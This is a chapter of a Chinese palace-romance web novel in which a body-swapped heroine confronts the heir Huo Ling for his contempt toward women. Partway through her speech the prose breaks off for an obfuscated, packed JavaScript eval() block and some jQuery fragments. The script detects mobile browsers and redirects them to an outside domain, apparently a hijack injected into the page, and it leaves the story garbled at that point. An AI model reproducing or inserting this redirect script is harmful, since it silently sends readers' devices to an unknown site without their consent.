24. 疏离
作品:《钓金龟》 庆元脑子一下子转不过弯来,这个她到底指的谁。
有时候手下人太笨,做主子的其实很累。
霍陵没好气地问:“我听说我妹妹最近在学厨艺?”
“哦哦,好像是有这么一回事。”
霍陵心道,果然如此。
他是个很敏锐的人,仅一口他就知道这菜不是平时侯府的厨子做的,自然也不是罗娘子,反倒像那位宋姑娘的手艺。
每个人都有偏好,这位宋姑娘也不例外,味道自然说不上难吃,甚至比起往常还略胜一些,主要是那背后之人让他没胃口。
他很不喜欢其她人对他暗戳戳地动心思,这让他深感厌烦。
想必是因为他这些日子没有踏足过后院,所以这小小女子就想出这样迂回的招数来博得他的好感。
可笑,这未免太小看自己了。
霍陵食欲全无,眉头皱了皱,“这些饭菜赏你了。”
庆元欣喜万分。
谁知主子又不耐烦地道:“还有,记得转告厨房的人,不要做多余的事情。”
庆元挠挠头,虽不知所谓,还是点头应下。
吃饱喝足后就去厨房传话。
他回忆了一下霍陵当时的表情,便有样学样第扬着下巴,用睥睨旁人的姿态道:“今日的饭菜不太合主子口味,另外主子警告有些人,不要做多余的事情。”
厨房里的一群人个个惊恐万状,又偷偷觑一眼葛娘子,见她脸色青白交加,不由得分外快意。
庆元走后,又用不大不小的声音道。
“是不是说你呢?”
“胡说八道,今日这菜又不是我做的。”
这人挤眉弄眼看向葛娘子。
另一人道:“说不定是敲打老李头。”
“老李头今日都不在,怎么会是说他。”
“可见呐我们的厨艺比起老李头还是逊色不少。”
“那时,也希望有些人不要太过自以为是。”
葛娘子一时无言,懒得理会他们的阴阳怪气。
心道世子爷果真铁面无情,自己亲妹妹的手艺也是鸡蛋挑骨头,非得寻个错处出来。
为了不打击宋琢玉的积极性,她便将此事给瞒下了。
宋琢玉自然也不晓得,在某些人眼里又给她记上了一笔。
至此一个月过去了,母女两虽仍未见面,可关系已经不如先前那般紧张了。
吴氏对宋琢玉愈发喜爱,并跟她吐露了一些自己的忧虑。
如霍溪这般年纪的姑娘,大多早已定下了夫家,唯有自己的女儿还与家中下人纠缠不清,让她如何能不着急。
恰好过几日有赏花宴,吴氏本想带女儿去玩,可如今这样,两人连话都不说,更别说带她去赴宴了。
宋琢玉安抚了吴氏几句,便回去了。
提起赏花宴,霍溪嗤之以鼻。
她素日里最讨厌这种场合,夫人们说话绵里藏针,小姐们拉帮结派,宛若不见血的战场。
宋琢玉眨眨眼:“居然这般有意思,我一直住在乡下,还不曾见过京中贵女的雅宴,还一直以为是很有趣的地方呢,若是这辈子能去一次见见世面就好了。”
她托着下巴一脸憧憬,霍溪便噤了声,瞬间想起宋琢玉从前说的话。
她从小忍饥挨饿过来的,自然没有条件见识京中富贵云集的宴会。
“其实没什么意思,我们去一次就知道了。”
宋琢玉惊喜道:“真的吗?我也能去吗?”随后又有些犹豫,“你不必为了我委屈自己,去不去其实对我也没什么不一样。”
霍溪最不想看着她受委屈,最后反倒变成霍溪劝着宋琢玉一定要去。
次日宋琢玉掐着侯夫人睡醒的空档,做了一碗消暑解渴的百合甜羹去见侯夫人吴氏。
吴氏刚刚睡醒,嘴里有些发苦,正想喝口茶,听说宋琢玉来了,便请她进来了。
宋琢玉奉上甜羹,笑道:“前几日跟着罗娘子学了甜羹,我改良了方子,知道夫人不爱那等过于甜腻的食物,用新鲜果汁替换了饴糖添味,夫人尝尝。”
侯夫人吴氏尝了一口,一丝凉意从喉咙滑下,瞬间消散了初夏的烦躁与闷热,连带着灵台也瞬间清明起来。
她看向宋琢玉的眼神愈发慈爱起来。
忙含笑道:“怎么这会子就来了,也不多休息一会。”
“来告诉夫人一个好消息,溪儿已经答应了同夫人一起去参加赏花宴会。”
吴氏登时眼睛一亮,道:“果真还是你有办法,那丫头轴得很,轻易说不动的。”
宋琢玉并不居功,反倒安慰道:“夫人放心,溪儿只是一时想岔了,我会多劝劝她,再者说母女连心,纵有一时的不愉快,也并不能斩断母亲之间的亲情羁绊。”
居然有这般伶俐的女孩儿,也不知道人家母亲是怎么教的。
吴氏心里熨帖地不得了。
两人略说了一会话,宋琢玉就起身告辞了,她下午还要去葛娘子那学厨艺,不能耽搁了。
宋琢玉刚走出正院的门,一脚踏上回廊,迎面恰好撞上了许久不曾见过的霍陵。
她先是愣了一下,随后学着侯府的丫鬟朝着相反的方向迅速后退数步,确定两人之间的距离足有十尺之远,这才站定至一旁,打算让霍陵先行。
霍陵微微一愣,原本要踏入正院的脚一顿,反而看向了宋琢玉,空气里弥漫一丝好闻的柑橘类水果的香味,似乎是从她身上传来的。
他鼻尖微耸,鬼使神差之下道:“你怎么在这?”
他语气不大好,宋琢玉轻声道:“回世子的话,我来给夫人送甜羹。”
“仅仅如此吗?”
他暗示得明显,几乎在说我知道你其实醉翁之意不在酒。
宋琢玉道:“自然是,总不可能特意来这里与世子偶遇,世子应该知道,我并不知道你的行踪。”
这倒是实话,可能今日只是意外罢了。
他垂下眼睑,脚下无意识地朝前走了两步。
没想到与此同时,宋琢玉也快速地后退了两步,倒像是刻意与他保持距离一样。
宋琢玉已然带了几分情绪,伸出一只手阻止霍陵前进,防备道:“还望世子止步,如今这距离才能证明我于世子清清白白。”
霍陵意味不明地笑了一声。
宋琢玉却读懂了,他在说她欲擒故纵。
一而再再而三,她不禁捏紧了手指,拧着眉抬起头来看向霍陵,冷笑道:“世子屡屡揣度我别有用心,是不是以为我又在使什么手段?”
霍陵微微一怔,随后似笑非笑地道:“怎么,难道不是吗,你可是亲口承认过了。”
宋琢玉并没有被他嘲讽的语气所影响,反而态度不卑不亢,解释道:“其实那天只是意外,我不过是知道世子心中早就认定了我是蓄意勾引,怎么争辩都是徒劳,况且……”
她语气顿了顿,似乎有些难堪,“我对世子的心思也并不算清白。”
霍陵冷笑一声:“承认了就好。”
宋琢玉一下子哽住了,这男人似乎有些油盐不进,让她迟迟说不出话来,良久后她缓缓点头,“是,抱歉给你带来了困扰,不过我如今也想清楚了,世子之所以这样也并不是针对我,其实不是我真的的问题,其本质原因其实是世子你其实瞧不起女人。”
第一次听见女人对他说这样的话,霍陵微微正色,这张脸她再熟悉不过,自己的妹妹素来娇憨单纯,嬉笑怒骂,是一个情绪丰富的少女,可眼前之人不一样,她内敛含蓄,话语间绵里藏针,甚至带着攻击性。
宋琢玉接着道:“似乎在世子眼中女人多大愚蠢又无能,看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650118|171659||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见男人就失了神志,一心只想着倒贴,没有一点自我,在世子眼中,我大概就是这样的一个人吧!不过也不奇怪,毕竟即便是你的妹妹和母亲,在你眼中也是只会添乱的无用之人。”
霍陵眼神含怒问,“你知道自己在说什么吗?”
宋琢玉毫不退让,道:“当然知道,世子别忙着否认,前几日夫人跟我说,当她知道我与霍妹妹互换身躯这事后,便想去找你问清楚,世子是怎么说的呢?”
她歪了歪脑袋,做出一副思考的样子,“哦,你说让她不用操心,自己会处理好,旁人大约会认为世子是在安抚夫人,可是实际上呢,是你觉得夫人一介后宅女眷,于这样的事情上没有半点用处,即便知道了也帮不上忙,出于这样的想法,所以你才打算敷衍过去,还有霍妹妹,诚然你十分宠爱她,但你对她的宠爱是一种类似长辈照顾小孩子,在你眼里,她不还只是一个懵懂无知的孩童,处处需要你的照拂,我……说得没错吧。”
霍陵没有反驳只静静看着她。
宋琢玉接着道:“我知道世子对我心怀偏见,大约是那日在园子里我的行为不妥,引起世子反感,这个我承认,第一次见到世子的确被吸引,我想这也是人之常情,毕竟世子你样样都好,只是后来我发现世子对我并无想法,反而心生厌恶,便慢慢地放下了那点心思,之后的事情都只是一些意外巧合,世子可能不信,但事实就是如此,倘若我无意中给世子带来困扰,那我给世子道歉。”
说完她深深地鞠了一躬。
霍陵还未回过神之际,她便转身离开了,似乎是宁愿绕道也不愿与他多有牵扯。
他不禁摇了摇头,转弯进了主院。
进屋一眼就瞥到了桌上喝得干干净净的甜羹,明知故问道:“什么东西这样好喝?”
侯夫人笑道:“就是那丫头做的,不知你过来碰上她没有,她手艺好极了,心思又玲珑,倘若真是我女儿就好了。”
霍陵想浮现那张熟悉又陌生的脸,轻声道:“她倒是殷勤。”
吴氏白了他一眼,道:“无论她是真心实意或是虚情假意,但是她确实实打实地让我开心,说起来你们兄妹两人加起来都比不上她一个,她要真是我女儿就好了。”
霍陵:“……”
霍陵轻咳几声,转移话题。
吴氏被他败坏了心情,没说两句话,就将人给撵了出去。
回去的路上,霍陵也一直沉默着。
等回过神的时候,已经进了自己的住处。
一进门看见一搞鬼鬼祟祟的背影,手忙脚乱地在做什么。
霍陵拧起眉毛:“庆元?”
庆元慌张地转过身来,嘴角还挂着糕点碎末,至于刚刚在做什么,昭然若揭。
霍陵对他老鼠般的行径极为不齿,斜了他一眼,自己大步进了内室。
坐在椅子上,喝了一口茶问:“说吧刚刚在干什么?”
庆元叫苦不迭,垮着脸道:“吃……吃东西。”
霍陵看了他一眼,随后问:“我亏待你了?”
庆元把头摇得像拨浪鼓一般,连声回道:“没有没有,世子待我恩重如山。”
“既没有,吃东西便吃,为何偷偷摸摸。”
庆元觑了一眼自己的主子这才小声道:“奴才今日吃的糕点是从齐凡那厮手里抢来的,担心公子知道不高兴,所以才……”
哎,就那么一会的事情,居然还叫主子逮个正着,可见他今日运气差极了,回头给死去的老爹多上一炷香,让他保佑保佑自己。
“他这糕点又是从哪来的?”
庆元老实回答:“好像是表姑娘送的,这厮着实可恶,他到处分给旁人,就是不肯分我点,我一时气不过就……”
庆元卡壳了,不敢再说了,因为一抬头,发现世子爷的脸色阴沉无比。